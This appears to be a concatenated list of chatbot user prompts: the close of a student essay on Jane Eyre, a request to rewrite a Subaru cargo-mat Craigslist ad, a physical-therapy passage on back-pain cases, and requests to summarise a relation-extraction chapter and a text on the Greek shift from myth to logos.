expresses to Rochester how she missed him while they were away from each other. “Thank you, Mr. Rochester, for your great kindness. I am strangely glad to get back to you; and wherever you are is my home, my home only home.” (330) This is an example of Jane’s happiness from the presence of Rochester. She feels that she is no longer lonely when it comes to people she is encountered with. Although her independence still takes place when she has taken it upon herself to travel to Gateshead alone and see her aunt Reed that dies. Jane’s faith in God fortunately guides her to finding out that she has family that she eventually inherits wealth from. Post acceptance to Rochester’s proposal she contacts her uncle John Eyre and lets him know of her wedding. John makes Jane his heir and she is now equal footing to Rochester. This makes Jane more comfortable to marrying Rochester, and satisfies her doubts that the wedding possibly will not happen. “Do you remember what you said of Celine Varens? Of the diamonds, the cashmeres you gave her? I will not be your English Celine Varens. I shall continue to act as Adele’s governess: by that I shall earn my board and lodging, and thirty 6 pounds a year besides. I’ll furnish my own wardrobe out of that money, and you shall give me nothing but.” (356) Jane’s independence is shown here when she expresses to Rochester that she will not marry him until she is able to have her own stability. She uses a lady that Rochester had encounters with in the past that he nourished, and she explicitly says that she will not be that woman; that she will not depend on Rochester. Jane’s pride has made her more compelling to Rochester and it makes his love for her stronger. Awaiting their marriage another tragic event happens that postpones the wedding even longer. While there was a first attempt to a wedding, Rochester strangely tries to resume the ceremony as someone quickly interrupts and rejects why they should get married. Rochester is confronted with the news and proof that he was still married to another woman named Bertha. While they crowd was invited to see why she was kept a secret Jane departures herself for a while until she recovers. While this crazy event was happening Jane picked up her inherited five thousand pounds that was split between her and her cousins. Rochester is blinded by a fire that happens at Thornfield when it is burned down and his legally married wife Bertha was killed in that fire attempting to kill Rochester. Jane is left with twenty thousand pounds when her uncle John dies and eventually gets back to Rochester. With the drama that has diluted and faded away Jane and Rochester picked up where they stopped and ends up getting married. It is important to know that Rochester lost a hand and his eyesight and she still seeks the love she had for him. Jane and Rochester had been married happily for ten years, after two years in to their marriage they have a baby boy and Rochester claims to be getting his sight back in one eye when he says he is able to see their son when he holds him for the first time. Jane completes a life of struggle and tough challenges through faith and pride. Her belief in God and using his guidance lead her to a life that she never thought she would have growing 7 up as a little girl. She survives through her times of loneliness and provides herself with the ability to be independent to seek happiness. Jane shows the definition and the difference of loneliness and independence. She uses her feelings of emotions to motivate her to achieve independence by assuring that she will be able provide for herself before she completes her life with happiness. She seeks happiness when she realizes that she has love in her life but refuses to take the offer of love until she was able to create stability by being independent in the process. Jane ends up being of more fortune of Rochester and still being able to have the love she wanted with him by sticking with her faith and pride and guidance from the love of God. The story and rough journey of Jane Eyre, ends up being the happy Jane Rochester.' +"rewrite this craigslist as so attracts local traffic and people who really need Subaru stuff, and write the title so its eye catching and infotaining, the Subaru Crosstrek Cargo Tray and Sports Carpet are selling for $125, so make it sound like a really compelling offer: Attention Subaru enthusiasts!\n\nAre you tired of constantly cleaning the trunk of your Crosstrek or Impreza, or replacing flimsy car mats that just can't handle the wear and tear of everyday life? We have the perfect solution for you.\n\nIntroducing the Subaru Crosstrek Cargo Tray and Sport Carpeted Car Mats - the ultimate protective accessories for your beloved vehicle.\n\nThe cargo tray is a must-have for any Crosstrek or Impreza owner. It helps protect the trunk area from stains, dirt, and other messes, while also providing a surface that reduces the shifting of cargo while driving. No more worrying about spills or messes ruining the trunk of your car.\n\nAnd to complete the package, we're also offering a set of premium, plush car mats specifically designed for the 2016-2021 Subaru Crosstrek. These mats provide excellent protection from dirt, moisture, and grease, helping to keep your car looking clean and new.\n\nDon't miss out on this opportunity to upgrade your Subaru and keep it in top condition. Both the cargo tray and car mats are brand new and ready to ship. Order now and give your Crosstrek the protection it deserves!\n\nPLUSH SPORTS MATS:\n\nSubaru: 1 models, 24 variants between 2018 and 2022.\n\nSubaru Crosstrek 2018, 2020, 2021, 2022\nSubaru Crosstrek 2.0L 6MT Base 2018, 2019\nSubaru Crosstrek 2.0L 6MT Premium 2018, 2019\nSubaru Crosstrek 2.0L 6MT Premium Plus 2018, 2019\nSubaru Crosstrek 2.0L CVT Base 2018, 2019\nSubaru Crosstrek 2.0L CVT Limited 2018, 2019\nSubaru Crosstrek 2.0L CVT Limited w/EyeSight 2018, 2019\nSubaru Crosstrek 2.0L CVT Premium 2018, 2019\nSubaru Crosstrek 2.0L CVT Premium Plus 2018, 2019\nSubaru Crosstrek 2.0L CVT Premium Plus w/EyeSight 2018, 2019\nSubaru Crosstrek 2.0L CVT Premium w/Eyesight 2018, 2019\n\n\nCARGO MAT:\nSubaru: 2 models, 115 variants between 2017 and 2022.\n\nSubaru Crosstrek 2018, 2019, 2020, 2021, 2022\nSubaru Crosstrek 2.0L 6MT Base 2018, 2019\nSubaru Crosstrek 2.0L 6MT Premium 2018, 2019\nSubaru Crosstrek 2.0L 6MT Premium Plus 2018, 2019\nSubaru Crosstrek 2.0L CVT Base 2018, 2019\nSubaru Crosstrek 2.0L CVT Limited 2018, 2019\nSubaru Crosstrek 2.0L CVT Limited w/EyeSight 2018, 2019\nSubaru Crosstrek 2.0L CVT Premium 2018, 2019\nSubaru Crosstrek 2.0L CVT Premium Plus 2018, 2019\nSubaru Crosstrek 2.0L CVT Premium Plus w/EyeSight 2018, 2019\nSubaru Crosstrek 2.0L CVT Premium w/Eyesight 2018, 2019\nSubaru Impreza 2017, 2018, 2019, 2020, 2021, 2022\nSubaru Impreza 2.0L 5MT 4WD Premium Plus Sedan 2018, 2019, 2022\nSubaru Impreza 2.0L 5MT 4WD Premium Plus Wagon 2017, 2018, 2019, 2022\nSubaru Impreza 2.0L 5MT 4WD Premium Sedan 2018, 2019, 2022\nSubaru Impreza 2.0L 5MT 4WD Premium Wagon 2017, 2018, 2019, 2022\nSubaru Impreza 2.0L 5MT 4WD Sedan 2018, 2019, 2022\nSubaru Impreza 2.0L 5MT 4WD Sport Sedan 2018, 2019\nSubaru Impreza 2.0L 5MT 4WD Sport Wagon 2017, 2018, 2019, 2022\nSubaru Impreza 2.0L 5MT 4WD Wagon 2017, 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Limited Sedan 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Limited Sedan w/EyeSight 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Limited Wagon 2017, 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Limited Wagon w/EyeSight 2017, 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Premium Plus Sedan 2018, 2019\nSubaru Impreza 2.0L CVT 4WD Premium Plus Sedan w/Eyesight 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Premium Plus Wagon 2017, 2018, 2019\nSubaru Impreza 2.0L CVT 4WD Premium Plus Wagon w/Eyesight 2017, 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Premium Sedan 2018, 2019\nSubaru Impreza 2.0L CVT 4WD Premium Sedan w/EyeSight 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Premium Wagon 2017, 2018, 2019\nSubaru Impreza 2.0L CVT 4WD Premium Wagon w/EyeSight 2017, 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Sedan 2018, 2019\nSubaru Impreza 2.0L CVT 4WD Sedan w/EyeSight 2022\nSubaru Impreza 2.0L CVT 4WD Sport Premium Sedan w/EyeSight 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Sport Premium Wagon w/EyeSight 2017, 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Sport Sedan 2018, 2019\nSubaru Impreza 2.0L CVT 4WD Sport Wagon 2017, 2018, 2019\nSubaru Impreza 2.0L CVT 4WD Wagon 2017, 2018, 2019\nSubaru Impreza 2.0L CVT 4WD Wagon w/EyeSight 2022\n1 / 1" +'Sally’s basic problem, in my view, is behavioral. That is, she has not been taking care of herself while she has been taking care of business. She has put on a ton of weight, to begin with, which hasn’t helped. And she has had a lot of pain. Interestingly (and familiarly to me), the fear of its onset has been almost as bad as the pain itself. That hasn’t helped her business either, she says. Like Fit Fred, she reads off the list of things her medical doctor says are wrong with her with something approaching pride. And, sure enough, the list goes on for quite a while. She has central stenosis, foraminal stenosis (that’s what the second operation was for, but it’s back), bone spurs (bony growths like calluses, but on the bone), and good old spondylolisthesis (a slippage of one vertebra over another, which hurts). \nOf the four surgeries she has had, the most recent two, the fusion and the laminectomy, relieved some of her debilitating leg and foot pain for a while, but serious back pain remains, along with intermittent bouts of buttock and leg pain when she walks. We talk about her postsurgical physical therapy. It helped somewhat while she was doing it but the lower back pain always came back. Now everything she does hurts. Walking, sitting, standing, you name it. She scoffs when I ask about resuming an exercise regimen. “That, sir, is impossible.” Well, we’ll see.\nI start by asking her to get up on the table and lie on her back. Not so fast, she says. That is almost beyond her. She weighs an awful lot and every move hurts. It is not easy for her to get on the table, and she doesn’t like it. I help her, but I weigh only about 150; I can see her thinking to herself, “Maybe a bigger therapist?” But we get there. Once she settles into the position on her back, I ask her to bend her knees and put her feet flat on the table. Same thing I told myself to do, that day of my back spasm. It hurts, she says. I ignore that, and tell her to move her legs up and down as if marching in place, bringing the knees up toward the torso. Does this make your back hurt? Of course it does. But—sneaky, I know—she is getting used to the idea that I think it’s going to be possible for her to move in this position, which is true. Okay, I say, let’s lessen the range of motion a lot. Now just barely lift your feet off of the table. Does this make your back hurt? Yes. Growing frustration. \nNow I shift gears and, for the next fifteen minutes, I talk to her about finding her neutral spine. She does. Then I ask her to tighten the muscles in her abdomen, which—God bless her—she finally does. I’m getting off track and talking a bit about the beginning of therapy, I know, but therapy and diagnosis are inseparable in her case. \nThen I have her do the marching in place again, but with those muscles engaged. Does that hurt? “No,” she says with surprise. And darned if she doesn’t brighten a little. A wisp of pleasure or relief comes across her face. Huh! \nI tell her that she has just crossed the Rubicon. We have begun on the road to a cure. It is going to be long and hard, but my guess is that we are going to get there. “Yeah?” she asks, not daring to believe it. \n“Yeah,” I say, “I believe we are. No guarantees and a lot of work for you. But my guess is that you’ve been a worker all your life, that you’ll work at this and that you will make it. Yes.” She is plenty skeptical, but she smiles, too. \nI explain that if she can move her legs without pain in her back while lying down then she can eventually do it upright. And that is called walking. It has been a while since she was able to walk without pain, and there have been plenty of days when she couldn’t walk at all. I push her to do a little more, but that little march is all she can do for now. Fine, that’s where we start. \nThere can be a serious, psychological component in all this, and it was very serious indeed with Sally. She had become deeply scared of movement. Any and all movement because any movement hurts. Her default solution has been not to move at all. Worse than that, her real solution in recent times has been to sit on the sofa and drink quite a bit of white wine. It worked, in a way, but was disastrous, too. It has given her this hideous weight problem. It hasn’t made her very good company, and it has been brutal for her business. But she didn’t hurt when doing that. So she sat on the couch for many hours a day, doing some business and quite a lot of drinking. My complicated task—and the book may not be much help on this one—was to wean her from the sofa-and-wine solution and get her into the movement solution. I was cautiously optimistic. Justifiably optimistic, it turns out. She is a proud woman and had a right to be. I thought that that fact and the early easing of pain just might do the job.\nSally and I have been at it for six months and she has done remarkably well. We are not there yet, but she has made terrific progress, her spirits are much improved, and her drinking much abated. Six months into our work, she is walking with her spouse around the neighborhood at night without much pain. She is playing with her grandchildren. She is going to the movies. She goes to the office rather than having everything brought to her at home. And she is doing serious (for her) strength training! She sees all this as a near-miracle and is charmingly grateful. Is she totally pain-free? No. She may never be. Does she have her life back? Yes, quite a bit of it, anyway. I want to see her make more progress. She thinks what has happened thus far is extraordinary.\nTHE GATEWAY THEORY OF PAIN \nHere is a little anecdote about the walking-in-place solution with which so many cures begin. A big reason for the reduction of pain is that tensing the abdominal muscles in the right way keeps the spine from moving and causing irritation. But, another reason is that it is a simple distraction from pain, to get the patient to focus on movement. We have gateways or pathways over which pain moves to the brain, and they have a limited capacity. One of the things about the walking-in-place phenomenon is that the “reports” of this activity to the brain take up a fair amount of neural space and block the gateways. There is less room for the pain reports to get through. So they don’t. Some do, of course, but fewer. Thus, the simple business of walking-in-place, which serves many functions, blocks the pain highway and lessens the sense of pain. Sounds trifling but it works. It’s like the nurse pinching the spot where she’s going to give you the shot: she wants to keep you busy. Your neural pathways, anyway.\nRegular Robert \nOn the fitness scale, Regular Robert was somewhere in the middle. In terms of his lifestyle and temperament, he was a lunatic. Like a lot of my patients here in Aspen, he is successful, a strong alpha personality, a serious workaholic, and a handful. He thinks he’s a fitness guy but his idea of fitness is getting on the treadmill for forty-five minutes a day while reading his emails. This is not my idea of fitness; this is my idea of fooling around. And it is largely useless for someone with real back issues. The rest of his day is spent in intense meetings, traveling, and (especially) bent over his computer. Recently, he has had a relatively sudden onset of pretty serious lower back and buttock pain. It is nowhere near as severe as what I had or what most of the other people in this chapter had, but it’s serious enough, and he’s not liking it one bit. So here he sits, in my office, looking cranky. Everyone I see looks cranky. \nI listen to his story and determine it is likely a bulging lumbar disc. Do you remember those terms? Lumbar means lower back, where almost all back pain resides. And a disc is a disc. The reasons behind my conclusion are fairly straightforward and you can probably follow the analysis yourself, if you have similar problems. By asking him to move some, I find that he gets more pain with flexion (forward bending at the waist), sitting, and lifting. The pain eases with standing, extension (backward bending at the waist), and moving. The pain radiates down into his buttocks and can go from severe to almost nonexistent in the same day. The pain is more severe in the back than in the buttock or leg. I believe that it is a bulge (the outer fibers of the disc are still mostly intact) and not a herniation or rupture because the pain would be more severe if it were a rupture, and it would likely be radiating down his leg. \nThe pain is positional, meaning it gets better or worse depending on the position he is in. The pain goes from fairly intense to fairly mild, sometimes within hours, and he is not complaining of any numbness in his leg or foot. When the disc is herniated, it is common for the pain to be constant regardless of position and there is apt to be accompanying numbness or tingling in the foot or leg. The pain is also commonly the most intense in the leg or foot and not the back. I tell him I think he has a bulging disc and I explain just what that means. Type A guy that he is, he immediately wants to talk about surgery—about getting this fixed! Right now. “How bad is the surgery? How long is the recovery?” he asks. “Who should I use and how soon can I schedule it?” \nI tell him to chill for a minute; we are nowhere near that point yet. There are various stages of disc dysfunction, I tell him, and his does not look that bad to me. I say this because my exam shows no neurological damage. Here’s what I mean. I tapped his Achilles tendon and his foot jerked sharply, a sign that there has been no nerve damage in that area. I do the same with his knee (the same spot your doctor taps when you have a physical): same result. His reflexes are normal, so likely no nerve damage. His strength is within normal range, too. \nIf you have even a hint of “radicular” pain—pain that goes down your leg—you should see a medical doctor. It could be pain from an irritated nerve root (which can be serious) or it could be referred muscular pain. The analysis is a bit too complicated to cover in a book. In any event, I conclude that Regular Robert has not suffered any motor nerve damage because of nerve compression and he has not suffered any loss of strength. In the absence of serious motor function or nerve loss, surgery is seldom called for. \nLet me repeat this: Self-assessment gets tricky when it comes to muscle and nerve loss. If you sense that you are anywhere near that territory, especially if you have possible radicular pain (pain going down your leg), you should get professional help, probably a medical doctor. \nRegular Robert does not have nerve or muscle loss so he is not likely to have suffered a herniation. He is lucky, in a way, to have come in with this problem at this stage. It will give him a not-so-gentle kick in the pants to take spine health seriously. And it will give me a chance to offer him major relief, if not an outright cure. If he is serious and does what he must.' +'describe the pattern used to extract the rlation between two entities using the following text keep it short and simple with proper heading and subheading: Extracting semantic relationships between entities mentioned in text documents is\nan important task in natural language processing. The various types of relationships\nthat are discovered between mentions of entities can provide useful structured infor\x02mation to a text mining system [1]. Traditionally, the task specifies a predefined set\nof entity types and relation types that are deemed to be relevant to a potential user\nand that are likely to occur in a particular text collection. For example, information\nextraction from newspaper articles is usually concerned with identifying mentions\nof people, organizations, locations, and extracting useful relations between them.\nRelevant relation types range from social relationships, to roles that people hold\ninside an organization, to relations between organizations, to physical locations of\npeople and organizations. Scientific publications in the biomedical domain offer a\ntype of narrative that is very different from the newspaper discourse. A significant\neffort is currently spent on automatically extracting relevant pieces of information\nfrom Medline, an online collection of biomedical abstracts. Proteins, genes, and cells\nare examples of relevant entities in this task, whereas subcellular localizations and\nprotein-protein interactions are two of the relation types that have received signif\x02icant attention recently. The inherent difficulty of the relation extraction task is\nfurther compounded in the biomedical domain by the relative scarcity of tools able\nto analyze the corresponding type of narrative. Most existing natural language pro\x02cessing tools, such as tokenizers, sentence segmenters, part-of-speech (POS) taggers,\nshallow or full parsers are trained on newspaper corpora, and consequently they inc\x02cur a loss in accuracy when applied to biomedical literature. Therefore, information\nextraction systems developed for biological corpora need to be robust to POS or\nparsing errors, or to give reasonable performance using shallower but more reliable\ninformation, such as chunking instead of full parsing.\nIn this chapter, we present two recent approaches to relation extraction that\ndiffer in terms of the kind of linguistic information they use:\n1. In the first method (Section 3.2), each potential relation is represented implicitly\nas a vector of features, where each feature corresponds to a word sequence an\x02chored at the two entities forming the relationship. A relation extraction system\n30 Razvan C. Bunescu and Raymond J. Mooney\nis trained based on the subsequence kernel from [2]. This kernel is further gen\x02eralized so that words can be replaced with word classes, thus enabling the use\nof information coming from POS tagging, named entity recognition, chunking,\nor Wordnet [3].\n2. In the second approach (Section 3.3), the representation is centered on the short\x02est dependency path between the two entities in the dependency graph of the\nsentence. Because syntactic analysis is essential in this method, its applicability\nis limited to domains where syntactic parsing gives reasonable accuracy.\nEntity recognition, a prerequisite for relation extraction, is usually cast as a sequence\ntagging problem, in which words are tagged as being either outside any entity, or\ninside a particular type of entity. Most approaches to entity tagging are therefore\nbased on probabilistic models for labeling sequences, such as Hidden Markov Mod\x02els [4], Maximum Entropy Markov Models [5], or Conditional Random Fields [6],\nand obtain a reasonably high accuracy. In the two information extraction methods\npresented in this chapter, we assume that the entity recognition task was done and\nfocus only on the relation extraction part.\n3.2 Subsequence Kernels for Relation Extraction\nOne of the first approaches to extracting interactions between proteins from biomed\x02ical abstracts is that of Blaschke et al., described in [7, 8]. Their system is based on\na set of manually developed rules, where each rule (or frame) is a sequence of words\n(or POS tags) and two protein-name tokens. Between every two adjacent words is a\nnumber indicating the maximum number of intervening words allowed when match\x02ing the rule to a sentence. An example rule is “interaction of (3) (3) with (3)\n”, where ’’ is used to denote a protein name. A sentence matches the rule\nif and only if it satisfies the word constraints in the given order and respects the\nrespective word gaps.\nIn [9] the authors described a new method ELCS (Extraction using Longest\nCommon Subsequences) that automatically learns such rules. ELCS’ rule represen\x02tation is similar to that in [7, 8], except that it currently does not use POS tags,\nbut allows disjunctions of words. An example rule learned by this system is “- (7)\ninteraction (0) [between | of ] (5) (9) (17) .” Words in square brackets\nseparated by ‘|’ indicate disjunctive lexical constraints, i.e., one of the given words\nmust match the sentence at that position. The numbers in parentheses between ad\x02jacent constraints indicate the maximum number of unconstrained words allowed\nbetween the two.\n3.2.1 Capturing Relation Patterns with a String Kernel\nBoth Blaschke and ELCS do relation extraction based on a limited set of match\x02ing rules, where a rule is simply a sparse (gappy) subsequence of words or POS\ntags anchored on the two protein-name tokens. Therefore, the two methods share\na common limitation: either through manual selection (Blaschke), or as a result of\na greedy learning procedure (ELCS), they end up using only a subset of all pos\x02sible anchored sparse subsequences. Ideally, all such anchored sparse subsequences\nwould be used as features, with weights reflecting their relative accuracy. However,\n3 Extracting Relations from Text 31\nexplicitly creating for each sentence a vector with a position for each such feature is\ninfeasible, due to the high dimensionality of the feature space. Here, we exploit dual\nlearning algorithms that process examples only via computing their dot-products,\nsuch as in Support Vector Machines (SVMs) [10, 11]. An SVM learner tries to find\na hyperplane that separates positive from negative examples and at the same time\nmaximizes the separation (margin) between them. This type of max-margin sepa\x02rator has been shown both theoretically and empirically to resist overfitting and to\nprovide good generalization performance on unseen examples.\nComputing the dot-product (i.e., the kernel) between the features vectors asso\x02ciated with two relation examples amounts to calculating the number of common\nanchored subsequences between the two sentences. This is done efficiently by modify\x02ing the dynamic programming algorithm used in the string kernel from [2] to account\nonly for common sparse subsequences constrained to contain the two protein-name\ntokens. The feature space is further prunned down by utilizing the following prop\x02erty of natural language statements: when a sentence asserts a relationship between\ntwo entity mentions, it generally does this using one of the following four patterns:\n• [FB] Fore–Between: words before and between the two entity mentions are\nsimultaneously used to express the relationship. Examples: ‘interaction of \x07P1\x08 with\n\x07P2\x08,’ ‘activation of \x07P1\x08 by \x07P2\x08.’\n• [B] Between: only words between the two entities are essential for asserting\nthe relationship. Examples: ‘\x07P1\x08 interacts with \x07P2\x08,’ ‘\x07P1\x08 is activated by \x07P2\x08.’\n• [BA] Between–After: words between and after the two entity mentions are\nsimultaneously used to express the relationship. Examples: ‘\x07P1\x08 – \x07P2\x08 complex,’\n‘\x07P1\x08 and \x07P2\x08 interact.’\n• [M] Modifier: the two entity mentions have no words between them. Examples:\nU.S. troops (a Role:Staff relation), Serbian general (Role:Citizen).\nWhile the first three patterns are sufficient to capture most cases of interactions\nbetween proteins, the last pattern is needed to account for various relationships ex\x02pressed through noun-noun or adjective-noun compounds in the newspaper corpora.\nAnother observation is that all these patterns use at most four words to express\nthe relationship (not counting the two entity names). Consequently, when computing\nthe relation kernel, we restrict the counting of common anchored subsequences only\nto those having one of the four types described above, with a maximum word-length\nof four. This type of feature selection leads not only to a faster kernel computation,\nbut also to less overfitting, which results in increased accuracy.\nThe patterns enumerated above are completely lexicalized and consequently their\nperformance is limited by data sparsity. This can be alleviated by categorizing words\ninto classes with varying degrees of generality, and then allowing patterns to use both\nwords and their classes. Examples of word classes are POS tags and generalizations\nover POS tags such as Noun, Active Verb, or Passive Verb. The entity type can\nalso be used if the word is part of a known named entity. Also, if the sentence is\nsegmented into syntactic chunks such as noun phrases (NP) or verb phrases (VP),\nthe system may choose to consider only the head word from each chunk, together\nwith the type of the chunk as another word class. Content words such as nouns and\nverbs can also be related to their synsets via WordNet. Patterns then will consist\nof sparse subsequences of words, POS tags, generalized POS tags, entity and chunk\ntypes, or WordNet synsets. For example, ‘Noun of \x07P1\x08 by \x07P2\x08’ is an FB pattern\nbased on words and general POS tags.\n\n−\na ). In\nSection 3.2.1 we observed that all three subsequence patterns use at most4words\nto express a relation, therefore the constants fbmax, bmax and bamax are set to 4.\nKernels K and K\x01\nare computed using the procedure described in Section 3.2.2.\n3.3 A Dependency-Path Kernel for Relation Extraction\nThe pattern examples from Section 3.2.1 show the two entity mentions, together\nwith the set of words that are relevant for their relationship. A closer analysis of\n3 Extracting Relations from Text 35\nS1 =\n=S2\nProtesters stations workers\nTroops churches ministers\nseized several pumping , holding 127 Shell hostage .\nrecently have raided , warning to stop preaching .\nFig. 3.4. Sentences as dependency graphs.\nthese examples reveals that all relevant words form a shortest path between the\ntwo entities in a graph structure where edges correspond to relations between a\nword (head) and its dependents. For example, Figure 3.4 shows the full dependency\ngraphs for two sentences from the ACE (Automated Content Extraction) newspa\x02per corpus [12], in which words are represented as nodes and word-word dependen\x02cies are represented as directed edges. A subset of these word-word dependencies\ncapture the predicate-argument relations present in the sentence. Arguments are\nconnected to their target predicates either directly through an arc pointing to the\npredicate (‘troops → raided’), or indirectly through a preposition or infinitive par\x02ticle (‘warning ← to ← stop’). Other types of word-word dependencies account for\nmodifier-head relationships present in adjective-noun compounds (‘several → sta\x02tions’), noun-noun compounds (‘pumping → stations’), or adverb-verb constructions\n(‘recently → raided’).\nWord-word dependencies are typically categorized in two classes as follows:\n• [Local Dependencies] These correspond to local predicate-argument (or head\x02modifier) constructions such as ‘troops → raided’, or ‘pumping → stations’ in\nFigure 3.4.\n• [Non-local Dependencies] Long-distance dependencies arise due to various\nlinguistic constructions such as coordination, extraction, raising and control. In\nFigure 3.4, among non-local dependencies are ‘troops → warning’, or ‘ministers\n→ preaching’.\nA Context Free Grammar (CFG) parser can be used to extract local depen\x02dencies, which for each sentence form a dependency tree. Mildly context sensitive\nformalisms such as Combinatory Categorial Grammar (CCG) [13] model word-word\ndependencies more directly and can be used to extract both local and long-distance\ndependencies, giving rise to a directed acyclic graph, as illustrated in Figure 3.4' +'Summarize this text:"The sixth century witnessed a ‘culture shock’: through contact with foreign peoples,\nthrough colonisation and commerce, and because of a desire for innovation, a new\nworld view was gradually established. Almost automatically, this led to a critique of\nthe obvious nature of myth. From now on, the stories have to be interpreted. The truth\nmyths claimed to reveal, can be better uncovered by other means. A new generation\nof poets fiercely criticizes the immoral nature of the Homeric gods, and notes how\nthe image of god differs from people to people. The poet Xenophanes (c. 565-473)\nputs it as follows:\nThe Ethiopians say that their gods are black and snub-nosed, the Thracians,\nthat they have blue eyes and red hair. (Xenophanes, fr. 16)\nFor Xenophanes, this is not merely an ethnographic discovery, but an indication that\nthe gods are formed after the image and likeness of humans. By extension, the same\nwould go for animals:\n\nBut if cows, horses and lions had hands or could paint with their hands or\ncreate things as humans do, then horses would depict the gods like horses, and\noxen like oxen, and they would make the bodies just like the body they have.\n(Xenophanes, fr. 15)\nXenophanes himself argues for a purification of the image of god, which can no\nlonger be anthropomorphic. It is important to observe that the traditional\nrepresentation of the gods is criticized here, which, of course, puts the explanatory\nvalue of myth into perspective as well. Moreover, Xenophanes’ criticism makes it\nclear that new explanatory methods are sought, which are no longer connected to\nlocal traditions and myth, but offer a universal understanding instead. From now on,\nif myths are still to be used, they will need to be interpreted according to new\n21\nstandards, where the mythical representations are read as referring to explanatory\nprinciples of a different sort.\n The way tradition is handed down also changes. For centuries, the Greek\ncultural tradition was oral. Myths, but also the texts of Homer, were transmitted\norally, and were also composed for that purpose. The Iliad and the Odyssey contain\nnumerous stereotypical phrasings and descriptions (e.g. the epithets of the gods) that\ncould be used as mnemonic devices by reciters. The Iliad and the Odyssey were\nprobably ‘composed’ by Homer in the sense that he organized existing material by\nmeans of a new, original plot (the wrath of Achilles). As a matter of fact, Homer’s\ntext could slightly differ as it was recited by different bards. The fact that this was\nnot considered an insurmountable problem is illustrative of the culture in which this\npractice occurred. In the sixth century, this also changes. Late in that century, the\nAthenian tyrant Peisistratus gave the order to commit a standard version of Homer\nto writing, which was then deposited in the Athenian city-state library. That alone is\nevidence of a changed mentality. The desire for codification, and standardisation and\nhomogenisation, shows a new way of dealing with the text, which now acquires an\nobjective status. Peisistratus’ decision, which, at first glance, appears to fall into the\ncategory of faits divers, is in fact the exponent of an extremely important revolution.\nApparently, the previous way of dealing with Homer’s text no longer suffices, and\nthe act of reading the great poet is subject to new requirements.\n The question we have to ask ourselves is not ‘how could people be so primitive\nin the preceding period?’, but rather: ‘what has changed, so that the previous practice\nno longer seemed to work?’ From all the tendencies and examples mentioned above\na number of constants emerge: what is sought is universal validity, objective\nintelligibility and systematic order. This triple concern is indicated by the term logos:\na word with multiple meanings, ranging from ‘word’, to ‘definition’, ‘discourse’,\n‘reason’, etc. to the ‘account’ given (logon didonai) of the phenomena that need to be\nexplained. All situations where an explanation is demanded, require logos. And the\nexplanation that is given will have to meet the requirements of universality,\n22\nobjectivity and systematicity. The explanatory value of myth is gone for good, and\nwhat is sought is a logos, a rational explanation.\n In the transition from ‘mythos’ to ‘logos’, and in fully considering the\nimplications for the individual and society, lies the so-called ‘Greek miracle’. As such,\nthe critique of myth and the embrace of logos is the beginning of philosophy.\n As drastic as the change may be, the culture shock exposed here did not come\nabout unexpectedly. Myth itself already showed a desire for explanation, for\nstrategies to bring the world under control. Hence, rational explanation – albeit with\nradically new answers – meets a similar need. For indeed, within the given horizon\nof existence of civilizations based on myth, the narrative is a strategy of the same\nvalue as science in a society governed by technology. That is the opinion of the\nstructuralist Claude Lévi-Strauss, La pensée sauvage, 1962 (for structuralism: see below,\np. ??). According to him, myth is ‘savage thought’ (like that of a bricoleur), whereas\nlogos stands for ‘tamed thought’ (like that of an engineer). The barely conscious\npurpose of myth is the same as that of logos, namely control over a mysterious world.\n Moreover, Greek mythology – for many the textbook example of myth – has\na very peculiar status. In Greek myths, as we know them, logos itself has already\npenetrated mythos. Hesiod’s Theogony (7th century) tried to bring unity into a\nmultiplicity of disconnected stories, and into an often inconsistent rendering of the\ngenealogy of the gods. Apparently, even then, uniformity and homogenisation were\nalready sought. In that sense, we speak of ‘mytho-logy’, because a first rationalisation\nalready occurred. Perhaps this is closely linked to the development of a Greek\ncultural identity, which the Hellenes used to distinguish themselves from the\n‘barbarians’. Also in later times the Greeks appealed to their Pan-Hellenic culture,\neven if the various city-states faced each other on the battlefield. In Greek history\nthere is a clear tendency towards unity, which already showed in the Pan-Hellenic\nsanctuaries and games (for example the Olympic Games, which were held from 776\nBC onward). It is not impossible that Greek mytho-logy is the result of this Pan-\n23\nHellenic desire for uniformity, where the different versions of myths from various\nGreek tribes and states were homogenised.\n But something else comes into play. The divine itself also acquires a different\nstatus. Greek religion is, primarily, a worship of nature: numerous divine powers\nanimate nature. But, at the same time, these powers are personified and, as we have\nalready seen, described in fundamentally anthropomorphic form. In\nanthropomorphism the worship of nature is profoundly transformed, however much\nthe gods remain associated with their natural functions (for example, as weather god,\nor fertility deity). After all, it becomes impossible to connect the gods with one\nparticular natural phenomenon, let alone with one particular place of worship, if it is\nsimultaneously maintained that they resemble humans in all respects (except their\nimmortality). This also becomes clear in a spatial sense. The anthropomorphic gods\n‘move’, as it were, to a separate location, the Olympus. In this context we can speak\nof a certain desacralisation of nature. The gods lose their place in the world, and the\nOlympus is conceived as a symbol of a ‘supernatural’ place, from which they interact\nwith nature, humans, and each other. As a result, nature gets, to some extent,\nseparated from the sacred: the world loses its enchantment and is ready for the\nobjectifying gaze of reason.\n This tendency made its definite breakthrough in the sixth century. From now\non, the explanation of the world is no longer sought for in the omnipresent power\nof the gods, but in the universality of reason.\n The strength and success of rational explanation are further reinforced by\nanother element through which Greek culture distinguished itself from neighbouring\npeoples. The Egyptians and Babylonians in particular, had reached a very high level\nof knowledge in geometry and astrology, but they had never differentiated between\nknowledge and practical application (staking out parcels after the Nile had flooded,\nbuilding pyramids, predicting propitious moments to make a decision, etc.). In Greek\nhands, knowledge is transformed into ‘knowing for the sake of knowing’. This new\nattitude is summarized under the term theoria. A theōros is a traveller who, out of\n24\ninterest, sets off to see objects and places worth seeing (from thea: spectacle and horān:\nto see). Herodotus, a well-known traveller himself, relates how the Athenian wise\nman Solon went to Lydia, ‘for the sake of theoria’ (Herod., Histories, I, 30). Theoria can\nalso be a public assignment. In that case, a theōros is an ambassador who attends\nreligious or sports festivals in other cities on behalf of his own city. He is a spectator\nwho, from a distance and without taking part, observes the spectacle. The Greeks\ntransferred this terminology to knowledge: theoria becomes the 